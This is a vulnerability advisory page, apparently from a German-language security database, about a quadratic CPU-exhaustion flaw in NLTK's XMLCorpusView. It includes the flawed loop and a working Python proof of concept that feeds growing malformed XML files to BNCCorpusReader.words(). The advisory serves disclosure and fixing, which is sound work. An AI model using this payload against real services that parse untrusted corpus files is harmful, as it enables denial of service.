Mittel

NLTK: Quadratic CPU Exhaustion in `XMLCorpusView._read_xml_fragment()`

  • Veröffentlicht: 02.09.2026
  • Aktualisiert: 11.10.2026 15:18

Summary

XMLCorpusView._read_xml_fragment() reads a corpus file in 1 KiB blocks, appending each block to a growing fragment string, then calls _VALID_XML_RE.match(fragment) on the full accumulated buffer every iteration. Because each iteration rescans the entire accumulated fragment, the total amount of work grows quadratically with input size.

Commit c9c332284 (CWE-1333) made each match() call linear. The quadratic behavior is separate: the loop calls match() once per 1 KiB block, each time on a longer buffer.

On the test system, an 8 MiB malformed XML file consumed approximately 48 CPU-seconds through the public BNCCorpusReader.words() API with no source modification. Absolute timings vary by hardware. _read_xml_fragment() imposes no limit on fragment size or iteration count.

Details

File: nltk/corpus/reader/xmldocs.py
Function: XMLCorpusView._read_xml_fragment(), lines 261–308

The relevant loop:

python
fragment = ""
while True:
    fragment += stream.read(self._BLOCK_SIZE)      # grows by 1 KiB per iteration
    if self._VALID_XML_RE.match(fragment):         # rescans full buffer each time
        return fragment
    ...
    last_open_bracket = fragment.rfind("<")
    if last_open_bracket > 0:                      # False for single-'<' payload
        if self._VALID_XML_RE.match(fragment[:last_open_bracket]):
            return ...
    # loop continues

For a payload of b'<' + b'a' * (N-1):

  • For this malformed input, _VALID_XML_RE.match(fragment) does not succeed because the unterminated tag prevents the expression from matching before EOF.
  • fragment.rfind("<") returns 0; the guard last_open_bracket > 0 is False, so the backtrack branch is never taken.
  • The only exit is EOF, after all N bytes are consumed.

Affected readers -> readers that rely on XMLCorpusView, including BNCCorpusReader, NPSChatCorpusReader, SemcorCorpusReader, MTECorpusReader, NKJPCorpusReader, FrameNetCorpusReader, VerbNetCorpusReader, and direct XMLCorpusView instantiation. XMLCorpusReader.xml() is not affected -> it calls defusedxml.safe_parse().

PoC

Requires only pip install nltk. No corpus data needed.

python
from pathlib import Path
from tempfile import TemporaryDirectory
from time import perf_counter
from nltk.corpus.reader.bnc import BNCCorpusReader

SIZES_KIB = (256, 512, 1024, 2048, 4096, 8192)
results = []
with TemporaryDirectory() as directory:
    root = Path(directory)
    malformed = root / "unterminated.xml"
    for kib in SIZES_KIB:
        malformed.write_bytes(b"<" + b"a" * (kib * 1024 - 1))
        t = perf_counter()
        try:
            list(BNCCorpusReader(str(root), [malformed.name]).words())
        except ValueError as e:
            assert "tag not closed" in str(e)
        results.append(perf_counter() - t)

print("KiB      seconds   growth")
for i, (kib, elapsed) in enumerate(zip(SIZES_KIB, results)):
    ratio = "-" if i == 0 else f"{elapsed / results[i-1]:.2f}x"
    print(f"{kib:5d}  {elapsed:9.3f}  {ratio}")

Runtime should increase by approximately fourfold for each doubling of input size, although absolute timings vary by hardware.

During verification, _VALID_XML_RE.match() was instrumented to record the size of each input. For a 256 KiB malformed file it was invoked 257 times on monotonically increasing buffers (1024, 2048, …, 262144 bytes), with the final call occurring after EOF. This confirms that every iteration rescans the accumulated fragment.

Impact

Applications that process attacker-controlled XML corpus files through an affected reader are vulnerable. The attacker needs only write access to a path the reader will open. No NLTK credentials or special privileges required. Offline tools reading only trusted local corpora are not at risk.

Affected versions: Verified in NLTK 3.9.4, 3.10.0, and the current develop branch. Historical inspection indicates the same loop structure has existed since the introduction of XMLCorpusView (2007), but only the listed versions were experimentally verified. No patch exists in any published release.

This issue results in CPU exhaustion and may allow denial of service in applications that process attacker-controlled XML corpus files.

Suggested Fix

Avoid rescanning the accumulated fragment from the beginning after each 1 KiB read. Incremental parsing, bounded fragment accumulation, or another streaming approach would eliminate the quadratic behavior while preserving existing semantics.

A regression test should verify that BNCCorpusReader.words() raises ValueError within a fixed timeout (e.g. 5 seconds) against a 2 MiB malformed input. The existing test_xmldocs_security.py covers only the prior ReDoS payloads and does not exercise this path.

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
Python (PyPI) nltk < 3.10.3 3.10.3

Verweise

CVSS-Wert 3.7/10
CVSS-Vektor
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L
Schwäche (CWE)
CWE-400, CWE-407
Plattform
Python (PyPI)
Paket
nltk
Veröffentlicht
02.09.2026
Aktualisiert
11.10.2026 15:18

Quellen und Lizenzen

OSV / GitHub Advisory Database - PYSEC-2026-3871 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-vp2x-qp44-57v7 - CC BY 4.0

Schwachstellenhistorie: nltk

Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Alle (52) im Archiv
Einträge insgesamt
52
Erste → letzte
08.2019 09.2026
Ohne Fix
6
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Kritisch 5
  • Hoch 32
  • Mittel 13
  • Niedrig 2

Veröffentlichungen pro Jahr

  1. 2019: 1
  2. 2020: 0
  3. 2021: 2
  4. 2022: 1
  5. 2023: 0
  6. 2024: 1
  7. 2025: 0
  8. 2026: 47
Schweregrad:
  1. NLTK: Quadratic CPU Exhaustion in `XMLCorpusView._read_xml_fragment()` dieser Eintrag
    Mittel · 3.7 CVE-2026-81723 < 3.10.3 3.10.3
  2. Hoch · 7.0 CVE-2026-81726 <= 3.10.3 keine Korrektur
  3. Hoch CVE-2026-79674 < 3.10.3 3.10.3
  4. Hoch · 8.8 CVE-2026-71513 >= 3.10.0, < 3.10.3 3.10.3
  5. Hoch · 5.9 CVE-2026-62385 < 3.10.0 3.10.0
Mehr anzeigen (18) 20 von 38 angezeigt

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.